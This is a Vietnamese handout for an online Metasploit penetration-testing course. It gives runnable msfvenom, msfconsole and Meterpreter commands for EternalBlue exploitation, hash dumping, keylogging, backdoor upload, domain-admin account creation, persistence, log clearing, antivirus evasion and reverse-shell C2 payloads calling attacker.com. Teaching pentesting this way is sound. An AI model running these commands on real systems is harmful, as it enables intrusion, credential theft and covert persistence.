Khóa học Online Anytime Pentest Với Metsploit trên LMS Security365 trình bày nhiều bài hướng dẫn về kiểm thử bảo mật với framework số 1 cho hacking này. Đây là khóa học dành cho các bạn mới bước cân vào thế giới ehacking, nên được trình bày khá cơ bản đến nâng cao. Sau đây là tài liệu bổ trợ cho các học viên để học tập dễ dàng hơn.

Download PDF

Setup một lab Pentest với Metasploit hoàn chỉnh.

Giới thiệu

Tài liệu này mô tả một số tùy chọn phổ biến cho các thành phần khác nhau của Metasploit Framework.

Các công cụ được mô tả trong tài liệu này:

  1. Metasploit: Nền tảng phát triển để tạo và sử dụng các công cụ và khai thác bảo mật.
  2. Metasploit Meterpreter: Payload trong Metasploit Framework cung cấp quyền kiểm soát hệ thống mục tiêu đã bị khai thác.
  3. Metasploit msfvenom: Công cụ cho phép tạo phiên bản độc lập của bất kỳ payload nào trong framework.

Các module Auxiliary hữu ích : Auxiliary trong Metasploit Framework

Auxiliary là một trong những thành phần quan trọng của Metasploit Framework. Đây là các module không phải là exploit, nhưng cung cấp các chức năng hỗ trợ quan trọng cho quá trình pentest và đánh giá bảo mật.

Đặc điểm của Auxiliary modules:

  1. Không thực hiện khai thác: Khác với exploit modules, auxiliary modules không nhằm mục đích giành quyền truy cập vào hệ thống mục tiêu.
  2. Đa dạng chức năng: Bao gồm quét, thu thập thông tin, brute force, DoS, và nhiều chức năng khác.
  3. Hỗ trợ quá trình pentest: Thường được sử dụng trong giai đoạn recon và post-exploitation.

Quét cổng:

msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24  
msf > run

Liệt kê DNS:

msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

Máy chủ FTP:

msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Máy chủ Proxy:

msf > use auxiliary/server/socks4
msf > run

msfvenom

msfvenom là một công cụ đa năng trong Metasploit Framework, được sử dụng để tạo và mã hóa các payload. Đây là sự kết hợp của hai công cụ trước đây là msfpayload và msfencode. Dưới đây là một giới thiệu chi tiết về msfvenom:

Mục đích chính của msfvenom:

  1. Tạo payload: Tạo ra các shellcode, executable, dll và các dạng payload khác.
  2. Mã hóa payload: Giúp payload tránh bị phát hiện bởi các phần mềm antivirus.
  3. Tùy chỉnh output: Cho phép tạo payload ở nhiều định dạng khác nhau.

Cú pháp cơ bản:

msfvenom -p <payload> <options>

Các tùy chọn quan trọng:

LPORT: Cổng lắng nghe trên máy attacker

-p: Chỉ định loại payload

-e: Chỉ định encoder để mã hóa payload

-f: Chỉ định định dạng output

-o: Chỉ định tên file output

LHOST: Địa chỉ IP của máy attacker (cho reverse payloads)

Cú pháp cơ bản:

$ msfvenom -p [ExploitPath] LHOST=[LocalHost] LPORT=[LocalPort] -f [FormatType]

Ví dụ tạo payload Meterpreter reverse TCP:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > met.exe

Mã hóa payload với msfvenom:

$ msfvenom -p [Payload] -e [Encoder] -f [FormatType] -i [EncodeIterations] -o [OutputFilename]

Ví dụ mã hóa payload 5 lần:

$ msfvenom -p windows/meterpreter/reverse_tcp -i 5 -e x86/shikata_ga_nai -f exe -o mal.exe

Metasploit Console (msfconsole)

msfconsole là giao diện dòng lệnh chính và phổ biến nhất của Metasploit Framework. Đây là một công cụ đa năng và mạnh mẽ được sử dụng để thực hiện các hoạt động kiểm tra thâm nhập. Dưới đây là một giới thiệu chi tiết về msfconsole:

Đặc điểm chính của msfconsole:

  1. Giao diện tương tác: Cho phép người dùng tương tác trực tiếp với Metasploit Framework.
  2. Tích hợp đầy đủ: Truy cập tất cả các tính năng của Metasploit, bao gồm exploits, payloads, auxiliary modules, và post-exploitation modules.
  3. Tab completion: Hỗ trợ hoàn thành lệnh tự động, giúp sử dụng dễ dàng hơn.
  4. Quản lý phiên: Cho phép quản lý nhiều phiên khai thác cùng lúc.

Cách sử dụng cơ bản:

  1. Khởi động msfconsole:
   $ msfconsole
  1. Tìm kiếm module:
   msf6 > search [keyword]
  1. Sử dụng một module:
   msf6 > use [module_path]
  1. Xem các tùy chọn của module:
   msf6 > show options
  1. Đặt các tùy chọn cần thiết:
   msf6 > set [option] [value]
  1. Chạy module:
   msf6 > exploit

hoặc

   msf6 > run

Các lệnh hữu ích trong msfconsole:

  • info: Hiển thị thông tin chi tiết về module hiện tại
  • back: Quay lại prompt chính
  • sessions: Liệt kê hoặc tương tác với các phiên đang hoạt động
  • jobs: Quản lý các công việc đang chạy nền
  • setg: Đặt một biến toàn cục
  • unsetg: Xóa một biến toàn cục
  • save: Lưu cấu hình hiện tại
  • load: Tải một plugin
  • version: Hiển thị phiên bản Metasploit

Ví dụ sử dụng msfconsole:

  1. Tìm và sử dụng một exploit:
   msf6 > search ms17-010
   msf6 > use exploit/windows/smb/ms17_010_eternalblue
   msf6 > set RHOSTS 192.168.1.100
   msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
   msf6 > set LHOST 192.168.1.10
   msf6 > exploit
  1. Sử dụng một auxiliary module:
   msf6 > use auxiliary/scanner/smb/smb_version
   msf6 > set RHOSTS 192.168.1.0/24
   msf6 > run
  1. Quản lý phiên:
   msf6 > sessions -l
   msf6 > sessions -i 1

Tính năng nâng cao:

  1. Resource scripts: Cho phép tự động hóa các tác vụ thông qua script.
  2. Database integration: Tích hợp với cơ sở dữ liệu để lưu trữ kết quả và quản lý workspace.
  3. Pivoting: Sử dụng một hệ thống đã xâm nhập để tấn công các hệ thống khác trong mạng nội bộ.

msfconsole là một công cụ mạnh mẽ và linh hoạt, cho phép người dùng thực hiện các hoạt động kiểm tra thâm nhập phức tạp, cung cấp một giao diện tập trung để truy cập vào toàn bộ khả năng của Metasploit Framework.

Một số lệnh cơ bản:

  • Tìm kiếm module: search [regex]
  • Chọn exploit: use exploit/[ExploitPath]
  • Chọn payload: set PAYLOAD [PayloadPath]
  • Xem tùy chọn: show options
  • Đặt tùy chọn: set [Option] [Value]
  • Bắt đầu khai thác: exploit

Metasploit Meterpreter

Metasploit Meterpreter là một payload tiên tiến và mạnh mẽ trong Metasploit Framework. Đây là một công cụ post-exploitation được thiết kế để cung cấp khả năng kiểm soát sâu rộng đối với hệ thống đã bị xâm nhập. Dưới đây là một giới thiệu chi tiết về Meterpreter:

Đặc điểm chính của Meterpreter:

  1. In-memory payload: Chạy trực tiếp trong bộ nhớ, không cần ghi vào ổ đĩa, giúp tránh phát hiện.
  2. Mở rộng được: Có thể tải thêm các tính năng mới trong thời gian chạy.
  3. Encrypted communication: Sử dụng kênh truyền thông được mã hóa để giao tiếp với máy attacker.
  4. Stealthy: Được thiết kế để hoạt động một cách kín đáo, giảm thiểu dấu vết.
  5. Đa nền tảng: Có phiên bản cho Windows, Linux, Android, và các hệ điều hành khác.

Các tính năng chính:

  1. File system commands: Duyệt, tải lên, tải xuống, và thao tác với hệ thống tệp.
  2. System commands: Thực thi lệnh hệ thống, quản lý tiến trình.
  3. Network commands: Sniffing, pivoting, port forwarding.
  4. User interface commands: Chụp màn hình, ghi âm, keylogging.
  5. Privilege escalation: Nâng cao đặc quyền trên hệ thống mục tiêu.
  6. Password dumping: Thu thập hash mật khẩu.

Các lệnh Meterpreter phổ biến:

  • help: Hiển thị danh sách các lệnh có sẵn.
  • sysinfo: Hiển thị thông tin về hệ thống mục tiêu.
  • getuid: Hiển thị user ID hiện tại.
  • getsystem: Cố gắng nâng cao đặc quyền.
  • hashdump: Dump password hashes.
  • download: Tải file từ máy mục tiêu.
  • upload: Tải file lên máy mục tiêu.
  • shell: Mở một shell trên máy mục tiêu.
  • screenshot: Chụp màn hình máy mục tiêu.
  • keyscan_start: Bắt đầu keylogger.
  • migrate: Di chuyển Meterpreter sang một process khác.

Ví dụ sử dụng Meterpreter:

  1. Sau khi có được phiên Meterpreter:
   meterpreter > sysinfo
   meterpreter > getuid
   meterpreter > getsystem
   meterpreter > hashdump
  1. Di chuyển sang process khác:
   meterpreter > ps
   meterpreter > migrate 1234
  1. Tải file từ máy mục tiêu:
   meterpreter > download c:\\important_file.txt /home/attacker/
  1. Chụp màn hình:
   meterpreter > screenshot
  1. Thiết lập keylogger:
   meterpreter > keyscan_start
   meterpreter > keyscan_dump
   meterpreter > keyscan_stop

Tính năng nâng cao:

  1. Pivoting: Sử dụng máy đã xâm nhập làm bàn đạp để tấn công các máy khác trong mạng.
  2. Port forwarding: Chuyển tiếp cổng từ máy mục tiêu về máy attacker.
  3. Incognito: Đánh cắp và sử dụng token xác thực.
  4. Mimikatz: Tích hợp công cụ Mimikatz để thu thập thông tin xác thực.

Lưu ý quan trọng:

  1. Meterpreter là một công cụ mạnh mẽ và có thể gây hại nếu sử dụng sai mục đích.
  2. Chỉ sử dụng trong môi trường được phép và cho mục đích học tập, nghiên cứu hoặc kiểm tra bảo mật hợp pháp.
  3. Nhiều phần mềm antivirus có thể phát hiện Meterpreter, vì vậy cần cẩn thận khi sử dụng trong môi trường thực tế.

Metasploit Meterpreter là một công cụ quan trọng trong bộ công cụ của penetration tester, cung cấp khả năng kiểm soát và thu thập thông tin mạnh mẽ trên hệ thống đã bị xâm nhập. Tuy nhiên, việc sử dụng nó đòi hỏi kiến thức chuyên sâu và trách nhiệm đạo đức cao.

Một số lệnh hữu ích:

  • Hiển thị PID hiện tại: getpid
  • Hiển thị UID hiện tại: getuid
  • Liệt kê tiến trình: ps
  • Kết thúc tiến trình: kill [PID]
  • Chạy chương trình: execute [program]
  • Di chuyển sang tiến trình khác: migrate [PID]

Lệnh mạng:

  • Xem thông tin mạng: ipconfig
  • Chuyển tiếp cổng: portfwd
  • Quản lý bảng định tuyến: route

Lệnh tệp:

  • Thay đổi thư mục: cd
  • Tải lên/tải xuống tệp: upload/download
  • Xem nội dung tệp: cat

Quản lý phiên

  • Liệt kê phiên nền: sessions -l
  • Tương tác với phiên nền: session -i [SessionID]
  • Đưa phiên hiện tại vào nền: background

Định tuyến qua phiên

msf > route add [Subnet] [Netmask] [SessionID]

Ví dụ:

msf > route add 192.168.1.0 255.255.255.0 3

Điều này sẽ định tuyến tất cả lưu lượng đến mạng 192.168.1.0/24 qua phiên có ID là 3.

Tôi sẽ tiếp tục biên tập và bổ sung thêm nội dung:

Post Modules

Các module post có thể được chạy trên máy mục tiêu khi có sẵn phiên Meterpreter.

Post Modules trong Metasploit Framework được sử dụng sau khi đã có quyền truy cập vào hệ thống mục tiêu (post-exploitation). Chúng cung cấp nhiều chức năng hữu ích để khai thác thêm, thu thập thông tin và duy trì quyền truy cập. Dưới đây là giải thích chi tiết về mục đích và cách sử dụng của Post Modules:

Mục đích chính của Post Modules:

  1. Thu thập thông tin: Lấy dữ liệu quan trọng từ hệ thống đã xâm nhập.
  2. Nâng cao đặc quyền: Tìm cách để có được quyền cao hơn trên hệ thống.
  3. Duy trì quyền truy cập: Thiết lập các cơ chế để duy trì quyền truy cập lâu dài.
  4. Di chuyển theo chiều ngang: Tìm cách lan truyền trong mạng nội bộ.
  5. Xóa dấu vết: Xóa bỏ các dấu hiệu của cuộc tấn công.

Các loại Post Modules phổ biến:

  1. Modules thu thập thông tin:
  • Gather: Thu thập thông tin hệ thống, ứng dụng, mạng.
  • Credentials: Thu thập thông tin đăng nhập, mật khẩu.
  1. Modules nâng cao đặc quyền:
  • Escalate: Tìm và khai thác các lỗ hổng để nâng quyền.
  1. Modules duy trì quyền truy cập:
  • Manage: Thiết lập backdoor, tạo user mới.
  1. Modules di chuyển theo chiều ngang:
  • Recon: Tìm kiếm các mục tiêu khác trong mạng.
  1. Modules xóa dấu vết:
  • Logs: Xóa hoặc sửa đổi log hệ thống.

Cách sử dụng Post Modules:

  1. Trong phiên Meterpreter:
   meterpreter > run post/windows/gather/hashdump
  1. Từ prompt msf:
   msf6 > use post/windows/gather/hashdump
   msf6 post(windows/gather/hashdump) > set SESSION 1
   msf6 post(windows/gather/hashdump) > run

Ví dụ cụ thể:

  1. Thu thập password hashes:
   meterpreter > run post/windows/gather/hashdump
  1. Tìm kiếm các tệp nhạy cảm:
   meterpreter > run post/windows/gather/enum_files
  1. Nâng cao đặc quyền:
   meterpreter > run post/windows/escalate/getsystem
  1. Tạo user mới:
   meterpreter > run post/windows/manage/add_user
  1. Kiểm tra các ứng dụng đã cài đặt:
   meterpreter > run post/windows/gather/enum_applications

Lưu ý quan trọng:

  1. Sử dụng Post Modules có thể để lại dấu vết trên hệ thống mục tiêu.
  2. Một số module có thể gây ảnh hưởng đến hoạt động của hệ thống.
  3. Luôn thận trọng và chỉ sử dụng trong môi trường được phép.
  4. Hiểu rõ tác động của mỗi module trước khi sử dụng.

Post Modules là công cụ quan trọng trong quá trình kiểm tra thâm nhập, cho phép penetration tester mở rộng phạm vi kiểm tra và thu thập thông tin quan trọng sau khi đã có quyền truy cập ban đầu. Việc sử dụng hiệu quả các Post Modules có thể giúp đánh giá toàn diện hơn về tình trạng bảo mật của hệ thống mục tiêu.

Chạy Post Module từ Meterpreter:

meterpreter > run post/multi/gather/env

Chạy Post Module trên phiên nền:

msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run

Khai thác nhiều mục tiêu

  • Chạy exploit và đưa phiên vào nền ngay lập tức:
msf > exploit -z
  • Chạy exploit trong nền và đợi nhiều phiên:
msf > exploit -j
  • Liệt kê tất cả các job đang chạy:
msf > jobs -l
  • Kết thúc một job:
msf > jobs -k [JobID]

Các lệnh Meterpreter bổ sung

Lệnh hệ thống:

  • Hiển thị thời gian máy mục tiêu không hoạt động: idletime
  • Bật/tắt bàn phím hoặc chuột: uictl [enable/disable] [keyboard/mouse]
  • Chụp màn hình: screenshot

Module bổ sung:

  • Tải module: use [module]
  • Ví dụ tải module priv:
use priv
  • Dump hash: hashdump
  • Thay đổi timestamp của tệp NTFS: timestomp

Ví dụ thực tế

Kịch bản khai thác cơ bản:

  1. Tìm kiếm exploit:
msf > search ms17-010
  1. Sử dụng exploit:
msf > use exploit/windows/smb/ms17_010_eternalblue
  1. Đặt các tùy chọn:
msf > set RHOSTS 192.168.1.100
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.10
msf > set LPORT 4444
  1. Chạy exploit:
msf > exploit
  1. Sau khi có phiên Meterpreter, thu thập thông tin:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
  1. Tải lên và thực thi tệp:
meterpreter > upload /path/to/backdoor.exe C:\\Windows\\Temp\\
meterpreter > execute -f C:\\Windows\\Temp\\backdoor.exe

Ví dụ về pivoting (các bạn chuẩn bị thi CEH Practical và CPENT cần nắm vững):

  1. Giả sử bạn đã có phiên Meterpreter trên máy 192.168.1.100 và muốn tấn công máy 10.0.0.5 trong mạng nội bộ.
  2. Thêm route:
msf > route add 10.0.0.0 255.255.255.0 1
  1. Sử dụng module quét cổng:
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.0.0.5
msf > run
  1. Tiếp tục với khai thác mới trên máy 10.0.0.5 sử dụng phiên hiện tại làm pivot.

Những ví dụ này minh họa cách Metasploit có thể được sử dụng trong các tình huống thực tế để khai thác, thu thập thông tin và mở rộng quyền truy cập trong mạng mục tiêu.

Kỹ thuật nâng cao

Đóng gói Payload

Để tránh phát hiện bởi phần mềm antivirus, bạn có thể sử dụng các kỹ thuật đóng gói và mã hóa payload.

Ví dụ sử dụng msfvenom để tạo payload được mã hóa:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encrypted_payload.exe

Giải thích:

  • -e x86/shikata_ga_nai: Sử dụng encoder shikata_ga_nai
  • -i 10: Mã hóa 10 lần
  • -f exe: Định dạng đầu ra là file thực thi
  • -o encrypted_payload.exe: Tên file đầu ra

Sử dụng Resource Scripts

Resource scripts cho phép bạn tự động hóa các tác vụ Metasploit phức tạp.

Ví dụ về resource script (auto_exploit.rc):

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit -j -z

Chạy resource script:

msfconsole -r auto_exploit.rc

Sử dụng Proxychains

Proxychains cho phép bạn chuyển tiếp lưu lượng qua nhiều proxy, hữu ích cho việc ẩn danh hoặc bypass firewall.

  1. Cấu hình Metasploit để lắng nghe trên SOCKS proxy:
msf > use auxiliary/server/socks4a
msf > run
  1. Cấu hình proxychains (/etc/proxychains.conf):
socks4 127.0.0.1 1080
  1. Sử dụng proxychains với các công cụ khác:
proxychains nmap -sT -p80,443 target.com

Kịch bản tấn công phức tạp

Giả sử bạn cần thâm nhập vào một mạng công ty với nhiều lớp bảo mật. Dưới đây là một kịch bản có thể:

  1. Recon ban đầu:
msf > use auxiliary/scanner/smb/smb_version
msf > set RHOSTS 192.168.1.0/24
msf > run
  1. Khai thác máy chủ web dễ bị tổn thương:
msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf > set RHOSTS 192.168.1.100
msf > set LHOST 192.168.1.10
msf > exploit
  1. Sau khi có shell, nâng cấp lên Meterpreter:
meterpreter > sessions -u 1
  1. Thu thập thông tin và di chuyển theo chiều ngang:
meterpreter > run post/windows/gather/enum_domain
meterpreter > run post/windows/gather/credentials/credential_collector
  1. Sử dụng thông tin thu thập được để tấn công Domain Controller:
msf > use exploit/windows/smb/psexec
msf > set SMBUser Administrator
msf > set SMBPass HashFromStep4
msf > set RHOSTS 192.168.1.200
msf > exploit
  1. Từ Domain Controller, tạo user mới và thêm vào nhóm Domain Admins:
meterpreter > shell
C:\> net user hacker P@ssw0rd123 /add /domain
C:\> net group "Domain Admins" hacker /add /domain
  1. Duy trì quyền truy cập:
meterpreter > run persistence -X -i 30 -p 443 -r 192.168.1.10

Kịch bản này minh họa cách Metasploit có thể được sử dụng trong một cuộc tấn công phức tạp, từ recon ban đầu đến duy trì quyền truy cập. Luôn nhớ rằng những hoạt động này chỉ nên được thực hiện trong môi trường được phép và có kiểm soát.

Kỹ thuật Obfuscation và Evasion

Sử dụng Veil Framework

Veil là một framework giúp tạo ra payload khó bị phát hiện bởi antivirus.

Ví dụ sử dụng Veil:

  1. Chạy Veil:
./Veil.py
  1. Chọn Evasion tool:
Veil>: use 1
  1. Liệt kê các payload có sẵn:
Veil/Evasion>: list
  1. Chọn một payload, ví dụ go/meterpreter/rev_tcp:
Veil/Evasion>: use 15
  1. Cấu hình payload:
Veil/Evasion>: set LHOST 192.168.1.10
Veil/Evasion>: set LPORT 4444
  1. Tạo payload:
Veil/Evasion>: generate

Sử dụng MSFVenom với Encoder tùy chỉnh

Bạn có thể kết hợp nhiều encoder để tăng khả năng tránh phát hiện:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 3 -f exe -o multi_encoded_payload.exe

Kỹ thuật Post-Exploitation nâng cao

Keylogging

Sau khi có quyền truy cập Meterpreter:

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Capturing Screenshots

meterpreter > screenshot

Pivoting với Port Forwarding

  1. Thiết lập port forwarding:
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.5
  1. Kết nối đến máy trong mạng nội bộ thông qua máy đã bị xâm nhập:
rdesktop 127.0.0.1:3389

Kịch bản tấn công APT (Advanced Persistent Threat)

Giả sử bạn đang mô phỏng một cuộc tấn công APT vào một công ty lớn. Dưới đây là một kịch bản có thể:

  1. Recon và Social Engineering:
  • Sử dụng OSINT để thu thập thông tin về mục tiêu
  • Tạo một email lừa đảo với payload Metasploit được obfuscate
  1. Initial Access:
  • Sử dụng module exploit/windows/fileformat/adobe_pdf_embedded_exe để tạo PDF độc hại
  • Gửi PDF qua email lừa đảo
  1. Execution và Establishing Foothold:
  • Khi nạn nhân mở PDF, payload sẽ thực thi và tạo reverse shell
  • Sử dụng module post/windows/manage/migrate để di chuyển sang process ổn định hơn
  1. Privilege Escalation:
  • Sử dụng post/windows/gather/smart_hashdump để thu thập hash
  • Crack hash offline hoặc sử dụng Pass-the-Hash attack
  1. Lateral Movement:
  • Sử dụng module exploit/windows/smb/psexec với thông tin đăng nhập đã lấy được
  • Thiết lập nhiều backdoor trên các máy khác nhau trong mạng
  1. Data Exfiltration:
  • Sử dụng module post/windows/gather/forensics/nbd_extraction để trích xuất dữ liệu
  • Mã hóa và chia nhỏ dữ liệu trước khi gửi ra ngoài
  1. Persistence:
  • Sử dụng module exploit/windows/local/persistence để tạo nhiều cơ chế persistence
  • Thiết lập các tác vụ định kỳ để liên lạc về C2 server
  1. Covering Tracks:
  • Xóa logs sử dụng clearev
  • Sử dụng module post/windows/manage/timestomp để thay đổi timestamp của các file đã tạo/sửa đổi

Kịch bản này minh họa cách Metasploit có thể được sử dụng trong một chiến dịch APT phức tạp, từ giai đoạn recon ban đầu đến duy trì quyền truy cập lâu dài. Mỗi bước đều có thể được tùy chỉnh và mở rộng tùy thuộc vào mục tiêu cụ thể và môi trường mạng.

Kỹ thuật C2 (Command and Control) nâng cao

Sử dụng DNS Tunneling

DNS Tunneling là một kỹ thuật C2 tinh vi, cho phép bypass nhiều firewall:

  1. Thiết lập DNS server:
msf > use auxiliary/server/fakedns
msf > set DOMAIN attacker.com
msf > run
  1. Tạo payload sử dụng DNS:
msfvenom -p windows/meterpreter/reverse_tcp_dns LHOST=attacker.com LPORT=53 -f exe -o dns_payload.exe
  1. Lắng nghe kết nối:
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp_dns
msf > set LHOST 0.0.0.0
msf > set LPORT 53
msf > exploit

Sử dụng HTTPS Beacon

HTTPS Beacon giúp giảm thiểu dấu vết trên mạng:

  1. Tạo certificate SSL:
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
  1. Thiết lập HTTPS listener:
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_https
msf > set LHOST 0.0.0.0
msf > set LPORT 443
msf > set HandlerSSLCert /path/to/server.pem
msf > exploit
  1. Tạo payload:
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f exe -o https_beacon.exe

Kỹ thuật Evasion nâng cao

In-Memory Execution

Thực thi payload trực tiếp trong bộ nhớ, không chạm vào ổ đĩa:

msf > use exploit/multi/script/web_delivery
msf > set TARGET 2
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.10
msf > set LPORT 4444
msf > exploit

Sau đó, trên máy mục tiêu, chạy lệnh PowerShell được cung cấp.

Process Hollowing

Kỹ thuật này tạo một process hợp lệ nhưng thay thế nội dung của nó bằng mã độc:

  1. Tạo shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shellcode.bin
  1. Sử dụng công cụ như Hollow để thực hiện process hollowing.

Kịch bản Red Team Operation

Giả sử bạn đang thực hiện một chiến dịch Red Team toàn diện. Dưới đây là một kịch bản phức tạp:

  1. Reconnaissance:
  • Sử dụng recon-ng để thu thập thông tin về mục tiêu
  • Áp dụng module Metasploit auxiliary/gather/search_email_collector
  1. Weaponization:
  • Tạo một macro Office độc hại sử dụng msfvenom
  • Obfuscate payload với Veil
  1. Delivery:
  • Thiết lập một trang web giả mạo với module auxiliary/server/browser_autopwn2
  • Gửi email lừa đảo với tài liệu độc hại đính kèm
  1. Exploitation:
  • Sử dụng exploit/multi/handler để bắt kết nối reverse shell
  • Áp dụng kỹ thuật process injection để tránh phát hiện
  1. Installation:
  • Sử dụng module post/windows/manage/persistence_exe để cài đặt backdoor
  • Thiết lập nhiều cơ chế persistence khác nhau
  1. Command & Control:
  • Sử dụng DNS tunneling như đã mô tả ở trên
  • Thiết lập hệ thống C2 phân tán với nhiều server relay
  1. Actions on Objectives:
  • Sử dụng module post/windows/gather/credentials/domain_hashdump để thu thập hash domain
  • Áp dụng kỹ thuật Pass-the-Hash để di chuyển theo chiều ngang
  • Sử dụng module auxiliary/admin/smb/psexec_command để thực thi lệnh từ xa
  1. Exfiltration:
  • Sử dụng steganography để ẩn dữ liệu trong các file hình ảnh
  • Truyền dữ liệu qua kênh side-channel như DNS hoặc ICMP
  1. Impact:
  • Sử dụng module post/windows/manage/change_password để thay đổi mật khẩu hàng loạt
  • Áp dụng ransomware mô phỏng (không gây hại thật) để demo impact

Trong suốt quá trình, sử dụng các kỹ thuật OPSEC (Operational Security) để giảm thiểu dấu vết:

  • Sử dụng proxy chains để ẩn nguồn gốc traffic
  • Áp dụng sleep timers và jitter trong các hoạt động C2
  • Sử dụng các kỹ thuật anti-forensics như secure deletion và log manipulation

Kịch bản này minh họa cách Metasploit có thể được tích hợp vào một chiến dịch Red Team phức tạp, kết hợp nhiều kỹ thuật và công cụ khác nhau. Mỗi bước đều có thể được tinh chỉnh và mở rộng tùy thuộc vào mục tiêu cụ thể và môi trường mạng của đối tượng.

Lưu ý quan trọng: Các hoạt động này chỉ nên được thực hiện trong môi trường được phép và có kiểm soát, với sự đồng ý rõ ràng của tổ chức mục tiêu, nhằm mục đích nâng cao an ninh mạng.

Tài liệu nội bộ dành cho các học viên của khóa học Online Anytime qua LMS Security365 https://elearning.security365.vn/pentest-voi-metasploit-framework – Không sao chép dưới mọi hình thức.

Bình luận về bài viết này

Thịnh hành